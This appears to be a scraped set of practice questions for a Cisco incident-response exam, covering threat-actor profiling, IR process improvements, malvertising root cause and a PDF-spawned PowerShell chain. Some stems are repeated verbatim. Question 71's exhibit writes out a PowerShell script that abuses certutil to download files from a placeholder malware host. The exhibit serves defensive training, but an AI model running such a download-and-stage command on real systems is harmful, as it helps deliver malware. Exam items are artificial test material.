300-215 Exam Question 71
Refer to the exhibit.
$datePath = " certutil-$(Get-Date -format yyyy_MM_dd) "
New-Item -Path $datePath -ItemType Directory
Set-Location $datePath
certutil -verifyctl -split -f https://malware.com/XY874HZ.txt
Get-ChildItem | Where-Object {$_.Name -notlike " *.txt " } | ForEach-Object { Move-Item $_.Name -Destination XY874HZ.txt
}
During a threat-intelligence review, a cybersecurity analyst evaluates artifacts from a recent incident involving a compromised server. The artifacts include a script that uses certutil to download files from a suspicious URL. This finding is critical for determining the threat-actor profile responsible for the attack.
Which threat-actor profile aligns with the artifacts?
$datePath = " certutil-$(Get-Date -format yyyy_MM_dd) "
New-Item -Path $datePath -ItemType Directory
Set-Location $datePath
certutil -verifyctl -split -f https://malware.com/XY874HZ.txt
Get-ChildItem | Where-Object {$_.Name -notlike " *.txt " } | ForEach-Object { Move-Item $_.Name -Destination XY874HZ.txt
}
During a threat-intelligence review, a cybersecurity analyst evaluates artifacts from a recent incident involving a compromised server. The artifacts include a script that uses certutil to download files from a suspicious URL. This finding is critical for determining the threat-actor profile responsible for the attack.
Which threat-actor profile aligns with the artifacts?
300-215 Exam Question 72
An incident response team is recommending changes after analyzing a recent compromise in which:
a large number of events and logs were involved;
team members were not able to identify the anomalous behavior and escalate it in a timely manner; several network systems were affected as a result of the latency in detection; security engineers were able to mitigate the threat and bring systems back to a stable state; and the issue reoccurred shortly after and systems became unstable again because the correct information was not gathered during the initial identification phase.
Which two recommendations should be made for improving the incident response process? (Choose two.)
a large number of events and logs were involved;
team members were not able to identify the anomalous behavior and escalate it in a timely manner; several network systems were affected as a result of the latency in detection; security engineers were able to mitigate the threat and bring systems back to a stable state; and the issue reoccurred shortly after and systems became unstable again because the correct information was not gathered during the initial identification phase.
Which two recommendations should be made for improving the incident response process? (Choose two.)
300-215 Exam Question 73
An employee receives an email from a "trusted" person containing a hyperlink that is malvertising. The employee clicks the link and the malware downloads. An information analyst observes an alert at the SIEM and engages the cybersecurity team to conduct an analysis of this incident in accordance with the incident response plan. Which event detail should be included in this root cause analysis?
300-215 Exam Question 74
A security team is notified from a Cisco ESA solution that an employee received an advertising email with an attached .pdf extension file. The employee opened the attachment, which appeared to be an empty document.
The security analyst cannot identify clear signs of compromise but reviews running processes and determines that PowerShell.exe was spawned by CMD.exe with a grandparent AcroRd32.exe process. Which two actions should be taken to resolve this issue? (Choose two.)
The security analyst cannot identify clear signs of compromise but reviews running processes and determines that PowerShell.exe was spawned by CMD.exe with a grandparent AcroRd32.exe process. Which two actions should be taken to resolve this issue? (Choose two.)
300-215 Exam Question 75
A cybersecurity analyst must identify an unknown service causing high CPU on a Windows server. What tool should be used?